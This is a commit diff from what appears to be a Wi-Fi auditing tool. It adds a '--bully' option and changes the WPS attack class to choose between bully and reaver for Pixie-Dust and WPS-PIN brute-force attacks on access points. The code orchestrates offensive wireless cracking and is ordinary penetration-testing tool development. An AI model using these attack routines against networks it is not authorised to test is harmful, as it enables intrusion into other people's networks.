--bully option to use bully (instead of reaver).
Previously used bully by-default. Removed Configurations named 'reaver' (instead of 'WPS attack') Should resolve #39
This commit is contained in:
@@ -8,6 +8,7 @@ from Configuration import Configuration
|
||||
from CrackResultWPS import CrackResultWPS
|
||||
from Process import Process
|
||||
from Bully import Bully
|
||||
from Reaver import Reaver
|
||||
|
||||
class AttackWPS(Attack):
|
||||
def __init__(self, target):
|
||||
@@ -18,21 +19,45 @@ class AttackWPS(Attack):
|
||||
def run(self):
|
||||
''' Run all WPS-related attacks '''
|
||||
|
||||
# Drop out if user specified to not use Reaver
|
||||
if Configuration.no_reaver:
|
||||
# Drop out if user specified to not use Reaver/Bully
|
||||
if Configuration.no_wps:
|
||||
self.success = False
|
||||
return self.success
|
||||
|
||||
# Run Pixie-Dust attack
|
||||
bully = Bully(self.target, pixie=True)
|
||||
if bully.crack_result is not None:
|
||||
# Pixie-Dust attack succeeded. We're done.
|
||||
self.crack_result = bully.crack_result
|
||||
elif Configuration.pixie_only:
|
||||
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||
###################
|
||||
# Pixie-Dust attack
|
||||
if Configuration.use_bully:
|
||||
# Bully: Pixie-dust
|
||||
bully = Bully(self.target, pixie=True)
|
||||
if bully.crack_result is not None:
|
||||
self.crack_result = bully.crack_result
|
||||
return True
|
||||
else:
|
||||
# Run WPS-PIN attack
|
||||
bully = Bully(self.target, pixie=False)
|
||||
self.crack_result = bully.crack_result
|
||||
return self.crack_result is not None
|
||||
reaver = Reaver(self.target)
|
||||
if reaver.is_pixiedust_supported():
|
||||
# Reaver: Pixie-dust
|
||||
reaver = Reaver(self.target)
|
||||
if reaver.run_pixiedust_attack():
|
||||
return True
|
||||
else:
|
||||
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
|
||||
|
||||
if Configuration.pixie_only:
|
||||
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||
return False
|
||||
|
||||
###################
|
||||
# PIN attack
|
||||
if Configuration.use_bully:
|
||||
# Bully: PIN guessing
|
||||
bully = Bully(self.target, pixie=False)
|
||||
if bully.crack_result is not None:
|
||||
self.crack_result = bully.crack_result
|
||||
return True
|
||||
else:
|
||||
# Reaver: PIN guessing
|
||||
reaver = Reaver(self.target)
|
||||
if reaver.run_wps_pin_attack():
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
Reference in New Issue
Block a user